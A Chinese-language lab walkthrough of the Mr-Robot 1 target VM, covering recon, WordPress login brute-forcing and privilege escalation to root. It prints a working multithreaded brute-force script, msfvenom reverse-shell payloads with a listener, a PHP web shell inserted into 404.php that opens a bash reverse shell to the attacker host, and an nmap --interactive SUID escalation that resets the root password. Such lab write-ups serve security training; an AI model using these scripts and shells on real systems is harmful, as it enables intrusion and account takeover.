准备工作
靶机基本信息
靶机名称:Mr-Robot 1
操作系统:Linux
虚拟机软件:VirtualBox
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机的3个Flag和
root
权限
环境配置
将下载的压缩文件解压之后,点击VMware Workstation主页的File
=> Open
选项,在文件选择窗口中选中Mr-Robot_1.ovf
文件打开即可。
P.S. 别忘了拍快照哦~
信息收集
IP地址发现
在Kali Linux中,使用netdiscover
命令发现靶机IP地址:
shell
netdiscover -r 192.168.2.0/24
可以看到设备名为VMware, Inc.
的机器为靶机,IP地址为192.168.2.104
。
防火墙探测
知道靶机IP地址之后,我们首先来进行一波防火墙信息探测。
首先使用ICMP
探测:
Text
┌──(root㉿attacker)-[~]
└─# ping -c 4 192.168.2.104
PING 192.168.2.104 (192.168.2.104) 56(84) bytes of data.
64 bytes from 192.168.2.104: icmp_seq=1 ttl=64 time=1.38 ms
64 bytes from 192.168.2.104: icmp_seq=2 ttl=64 time=1.12 ms
64 bytes from 192.168.2.104: icmp_seq=3 ttl=64 time=0.915 ms
64 bytes from 192.168.2.104: icmp_seq=4 ttl=64 time=0.968 ms
--- 192.168.2.104 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.915/1.095/1.381/0.180 ms
可以看到攻击机和靶机连通性良好。
使用Nmap
进行ACK
探测:
shell
nmap -sA -T4 -p- 192.168.2.104
可以看到靶机开放了3个端口,大概率存在防火墙。
网络服务扫描
知道了靶机的防火墙信息之后,我们对其进行网络服务扫描:
shell
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.104
可以看到靶机对外有如下端口:
端口 | 状态 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|---|
22 | 关闭 | TCP | SSH | 未知 |
80 | 开启 | TCP | HTTP | Apache httpd |
443 | 开启 | TCP | HTTPS | Apache httpd |
同时发现靶机操作系统为Linux
,内核版本大概为Linux 3.10 - 4.11
。
服务探测(Web应用程序)
由于靶机只对外开放了HTTP(S)
服务,所以本篇内容只进行针对Web应用的服务探测。
首先打开浏览器,访问靶机主页:http://192.168.2.104/
,随后你会看到一段开场动画:
emmm。。。属实一开局就把人给整愣住了。。。
在确认该网页并未使用任何前端SSH框架之后,我决定看看里面是什么,于是输入了网页提供的命令,结果发现了一些中二气息爆棚的内容,大概是作者想以凡人之躯撼动世界之上的规则。这里放几张截图:
然后在摸鱼时发现了这张图,突然释怀地笑:
所以......给这个美好的世界献上一发爆裂魔法吧!(bushi
好了,接下来用dirsearch
扫描一下目录:
shell
dirsearch -u http://192.168.2.104/ -x 301,403,404
可以看到有如下关键目录:
/wp-admin
=> WordPress后台/intro
=> 网站动画目录/sitemap
=> XML内容/wp-content
=> WordPress插件目录favicon.ico
=> 网站图标license.txt
=> WordPress开源证书wp-login.php
=> WordPress后台登录页readme.html
=> WordPress安装说明robots.txt
=> 网站反爬信息wp-config.php
=> WordPress配置文件wp-cron.php
=> 未知xmlrpc.php
=> 未知
可以判断出靶机网站使用了WordPress
。先看看robots.txt
中有什么:
Text
┌──(root㉿attacker)-[/home/hacker]
└─# curl http://192.168.2.104/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
很好,成功找到了第一个Flag文件key-1-of-3.txt
。
下载一下fsocity.dic
文件看看:
看样子只能爆破登录用户密码了。
渗透测试
爆破WordPress账密
首先我们打开BurpSuite
,过一下登录流程来确定路由信息:
可以看到POST内容中的log
和pwd
两个参数为用户名密码参数。但是在之前尝试登录时发现,如果输入了错误的用户名,会看到ERROR: Invalid username.
这条报错信息。因此我们可以利用这个设计缺陷来爆破用户名。
将该请求发送至Intruder
模块,然后将log
参数的内容打上爆破标识:
然后进入Payloads
标签页配置攻击载荷:
点击Start Attack
按钮开始爆破:
可以看到第15
行请求的载荷为Elliot
,这行请求返回的长度为4232
,而其它请求返回的长度都为4182
,由此确定Elliot
为正确的用户名。尝试查看:
果然!!!
接下来进行密码爆破。因为字典过大且有很多重复内容,我们通过编写Python脚本来对其进行去重和破解。代码如下:
Python
import os
import requests
import threading
def blockPwdList():
global passwordList
global pwdListCount
global threads
pieceLength = pwdListCount // threads
newPassList = []
for i in range(0, pwdListCount, pieceLength):
newPassList.append(passwordList[i:i+pieceLength])
return newPassList
def brute(passLst, url):
target = url
header = {
"Host": "192.168.2.104",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "s_fid=17A2B3F6B224AF9B-20D537F80C0FD34E; s_nr=1703127074425; s_cc=true; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check",
"Origin": "http://192.168.2.104",
"Referer": "http://192.168.2.104/wp-login.php",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
}
for i in range(0, len(passLst)):
postdata = {
"log":"Elliot",
"pwd":str(passLst[i]),
"rememberme":"forever",
"wp-submit":"Log+In",
"redirect_to":"http://192.168.2.104/wp-admin/",
"testcookie":"1"
}
print("[*] Trying: %s"%(str(passLst[i])))
try:
resp = requests.post(url=target, headers=header, data=postdata,allow_redirects=False)
except:
print("[*] Network error!")
s._exit(0)
if resp and "ERROR" not in resp.text:
print("[+] Found: %s"%(str(passLst[i])))
print("[*] Exiting......")
os._exit(0)
targetUrl = "http://192.168.2.104/wp-login.php"
username = "Elliot"
pwdDict = "./fsocity.dic"
passwordList = []
pwdListCount = 0
threads = 50
threadsPool = []
with open(pwdDict,'r') as dictReader:
passwordList = dictReader.readlines()
passwordList = list(set(passwordList))
pwdListCount = len(passwordList)
for i in range(0,pwdListCount - 1): passwordList[i] = passwordList[i].strip("\n")
passwordList = blockPwdList()
threads = len(passwordList)
for i in range(0, threads):
eachlst = passwordList[i]
eachThread = threading.Thread(target=brute, args=(eachlst,targetUrl))
threadsPool.append(eachThread)
for eachthread in threadsPool:
eachthread.start()
for eachthread in threadsPool:
eachthread.join()
print("[*] Exiting...")
脚本首先定义了目标网址、字典文件地址、线程数、已知用户名 等信息,然后打开字典文件并一次性将内容逐行读入内存,随后对其进行了去重、去末尾\n
字符 后保存为新数组。接着使用blockPwdList()
函数对其按线程数进行了切片,最后使用多线程进行爆破。
爆破结果如下,可以看到只使用了2分22秒
就找出了正确结果,而去重后的密码数多达1万个:
(这里因为担心虚拟机性能问题,直接使用物理机进行爆破)
成功找到WordPress
的登录信息:
- 用户名:
Elliot
- 密码:
ER28-0652
直接登录:
WordPress插件提权
登录之后翻看后台,在插件商店页面中发现有上传自定义插件的按钮Upload Plugin
,点击后界面如下:
看来是要我们将编写好的插件打包在.zip
压缩文件中上传。我们点击左侧的Plugins
=> Editor
按钮进入插件编辑器,发现插件都是PHP程序:
既然如此,那么我们直接使用Metasploit
生成一个可以反弹Shell的PHP
木马上传 (下面的注释必须添加) :
PHP
<?php
/*
Plugin Name: WebShell
Plugin URI: https://zayu.net/
Description: webshell
Author: silverwolf
Version: 0.1
Author URI: https://silverwolf.net/
*/
/* More PHP codes... */
?>
shell
msfvenom -p php/reverse_php LHOST=192.168.2.50 LPORT=20000 -f raw > ./webshell.php
随后将其打包为webshell.zip
文件上传:
然后在攻击机上监听20000
号端口:
shell
msfconsole
use exploit/multi/handler
set payload php/reverse_php
set LHOST 192.168.2.50
set LPORT 20000
run
接着去插件中心找到上传的木马插件并激活:
反弹是成功了,不过老是不稳定,连上一会儿就自动断开。
最后找到了编辑404.php
页面的界面,在文件最底部加上了PHP一句话木马:
打开BurpSuite
,在浏览器中访问http://192.168.2.104/404.php
,截包发送至Repeater
,在code
参数后面加上id
命令:
成功!!!
现在尝试给404.php
增加反弹Shell功能:
PHP
<?php
/**
* The template for displaying 404 pages (not found)
*
* @package WordPress
* @subpackage Twenty_Fifteen
* @since Twenty Fifteen 1.0
*/
$cmd = $_GET['code'];
if (!isset($cmd) || empty($cmd)){
die("The GET arument 'code' must be set!");
}
if ($cmd === "reverse_shell"){
$sock = fsockopen("192.168.2.50",20000);
system("/bin/bash -i <&3 >&3 2>&3");
} else {
system($cmd);
}
?>
点击下面的Update File
按钮提交修改,接下来在BurpSuite
中发送请求,其中GET参数cmd
的内容为reverse_shell
,发送前使用rlwrap nc -lvnp 20000
命令在本地开启监听。
但Shell还是不稳定,刚连上就断开了。。。
最后还是决定使用Kali Linux中自带的php-reverse-shell.php
来替换404.php
,路径为/usr/share/webshells/php/php-reverse-shell.php
。
成功!
权限提升
本地信息收集
进入系统之后,我们使用如下命令进行信息收集:
系统版本信息
shell
uname -arn && cat /proc/version
发行版信息
shell
cat /etc/os-release
用户信息
shell
id
家目录信息
shell
ls -lAR /home
可以看到/home/robot
目录下有敏感文件。
解密robot用户密码
通过刚才的信息收集,我们已经得知robot
用户家目录下有如下敏感文件:
key-2-of-3.txt
,权限为400
,暂时无权查看password.raw-md5
,权限为644
我们查看password.raw-md5
文件:
Text
$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
很明显是Linux
用户密码的加密值,直接送去解密:
得到登录信息:
- 用户名:
robot
- 密码:
abcdefghijklmnopqrstuvwxyz
直接切换用户 (需要获取bash
的Shell) :
shell
python -c "import pty;pty.spawn('/bin/bash')"
su robot
成功获取第二个Flag:
旧版本Nmap提权
登录进了robot
用户之后,尝试执行sudo -l
命令(这里改过密码):
Text
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: *********
Sorry, user robot may not run sudo on linux.
看来robot
用户不在Sudo
组中。
查找一下具有SUID
位的文件:
shell
find / -perm -u=s -type f 2>/dev/null
嗯???为什么靶机里会安装Nmap????
尝试看一下Nmap
的版本:
Text
robot@linux:~$ nmap -V
nmap -V
nmap version 3.81 ( http://www.insecure.org/nmap/ )
看来确实是Nmap无疑了,而且版本还很老,非常奇怪。。。。
看一下帮助信息,发现了一个陌生的参数:
这是个啥?百度一下,发现:
也就是说,版本号在2.02
到5.21
之间的Nmap可以使用--interactive
参数执行任意命令。
好好好,这波是把自己玩进去了逝吧。。。
执行命令:
shell
nmap --interactive
查看帮助信息,发现键入! <command>
可以执行命令。我们直接查看用户ID:
Text
nmap> ! id
! id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
waiting to reap child : No child processes
非常好!EUID
为root
,开始修改root
用户密码。
但是这里我们无法直接使用
passwd
命令修改密码,因为实际的UID还是robot
。这里我们可以使用Python的os
库的setuid()
方法将实际UID设置为0
后,使用system()
方法执行passwd
命令。
Text
nmap> ! python -c "import os;os.setuid(0);os.system('passwd root')"
! python -c "import os;os.setuid(0);os.system('passwd root')"
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
waiting to reap child : No child processes
直接切换root
用户:
成功!!!